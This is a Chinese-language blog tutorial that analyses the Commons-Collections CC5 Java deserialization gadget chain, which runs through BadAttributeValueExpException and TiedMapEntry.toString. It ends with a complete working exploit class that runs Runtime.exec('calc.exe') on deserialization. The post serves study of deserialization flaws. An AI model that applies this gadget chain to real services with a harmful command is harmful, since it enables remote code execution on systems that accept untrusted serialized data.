当前位置:   article > 正文

【Web】浅聊Java反序列化之CC5——BadAttributeValueExpException

【Web】浅聊Java反序列化之CC5——BadAttributeValueExpException

目录

前言

利用链

原理分析

BadAttributeValueExpException

TiedMapEntry

EXP


前言

前文:【Web】Java反序列化之CC6--HashMap版

CC5之前就简单看了下,没专门水文章跟,补票

版本还是commons-collections 3.2.1

CC5的链和CC6差不多,区别在入口不同,以及前者调用 LazyMap.get()用的是 TiedMapEntry.toString(),后者用的是TiedMapEntry.hashCode()

(虽然本质都是调用getValue)

利用链

  1. /*
  2. Gadget chain:
  3. ObjectInputStream.readObject()
  4. BadAttributeValueExpException.readObject()
  5. TiedMapEntry.toString()
  6. LazyMap.get()
  7. ChainedTransformer.transform()
  8. ConstantTransformer.transform()
  9. InvokerTransformer.transform()
  10. Method.invoke()
  11. Class.getMethod()
  12. InvokerTransformer.transform()
  13. Method.invoke()
  14. Runtime.getRuntime()
  15. InvokerTransformer.transform()
  16. Method.invoke()
  17. Runtime.exec()
  18. */

原理分析

BadAttributeValueExpException

先看BadAttributeValueExpException构造方法

  1. public BadAttributeValueExpException (Object val) {
  2. this.val = val == null ? null : val.toString();
  3. }

该构造函数的作用是将传入的 val 参数转换为字符串,并将结果赋值给 this.val 成员变量。这样做是为了在创建 BadAttributeValueExpException 对象时,确保 this.val 始终是一个字符串值。

再来看BadAttributeValueExpException#readObject

  1. private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
  2. ObjectInputStream.GetField gf = ois.readFields();
  3. Object valObj = gf.get("val", null);
  4. if (valObj == null) {
  5. val = null;
  6. } else if (valObj instanceof String) {
  7. val= valObj;
  8. } else if (System.getSecurityManager() == null
  9. || valObj instanceof Long
  10. || valObj instanceof Integer
  11. || valObj instanceof Float
  12. || valObj instanceof Double
  13. || valObj instanceof Byte
  14. || valObj instanceof Short
  15. || valObj instanceof Boolean) {
  16. val = valObj.toString();
  17. } else { // the serialized object is from a version without JDK-8019292 fix
  18. val = System.identityHashCode(valObj) + "@" + valObj.getClass().getName();
  19. }
  20. }

通过 gf.get("val", null) 方法获取名为 "val" 的字段对应的值,赋给 valObj,如果其不为String,则强行调用toString,而正如最开始所说我们的漏洞利用点是在反序列化时由toString触发的。

要在反序列化的过程中调用val.toString,我们便要让val的类型其不为一个String,这是极简单的,但如果序列化构造时是走构造方法传val,那就会进行一个强制类型转换,自然反序列化的时候也就无法触发toString了。说这么啰嗦,我只想表达一个意思,就是val只能由反射去设置类的字段值,而不能由构造方法传入。

TiedMapEntry

关注其toString方法,会调用getValue方法

  1. public String toString() {
  2. return this.getKey() + "=" + this.getValue();
  3. }

下面就是和CC6的LazyMap相关调用完全一样了,过于经典,不作赘述。

EXP

  1. package com.CC5;
  2. import org.apache.commons.collections.Transformer;
  3. import org.apache.commons.collections.functors.ChainedTransformer;
  4. import org.apache.commons.collections.functors.InvokerTransformer;
  5. import org.apache.commons.collections.keyvalue.TiedMapEntry;
  6. import org.apache.commons.collections.map.LazyMap;
  7. import javax.management.BadAttributeValueExpException;
  8. import java.io.*;
  9. import java.lang.reflect.Field;
  10. import java.util.HashMap;
  11. public class CC5 {
  12. public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException {
  13. Transformer transformer=new ChainedTransformer(new Transformer[]{
  14. new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[0]}),
  15. new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[0]}),
  16. new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc.exe"})
  17. });
  18. LazyMap lazyMap= (LazyMap) LazyMap.decorate(new HashMap(),transformer);
  19. TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, Runtime.class);
  20. BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
  21. setFieldValue(badAttributeValueExpException,"val",tiedMapEntry);
  22. //序列化
  23. ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
  24. ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
  25. objectOutputStream.writeObject(badAttributeValueExpException);
  26. byteArrayOutputStream.flush();
  27. byte[] bytes = byteArrayOutputStream.toByteArray();
  28. //反序列化
  29. ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(bytes);
  30. ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
  31. objectInputStream.readObject();
  32. }
  33. public static void setFieldValue(Object obj,String field,Object value) throws NoSuchFieldException, IllegalAccessException {
  34. Field field1 = obj.getClass().getDeclaredField(field);
  35. field1.setAccessible(true);
  36. field1.set(obj,value);
  37. }
  38. }
声明:本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:https://www.wpsshop.cn/w/我家自动化/article/detail/694811
推荐阅读
相关标签
  

闽ICP备14008679号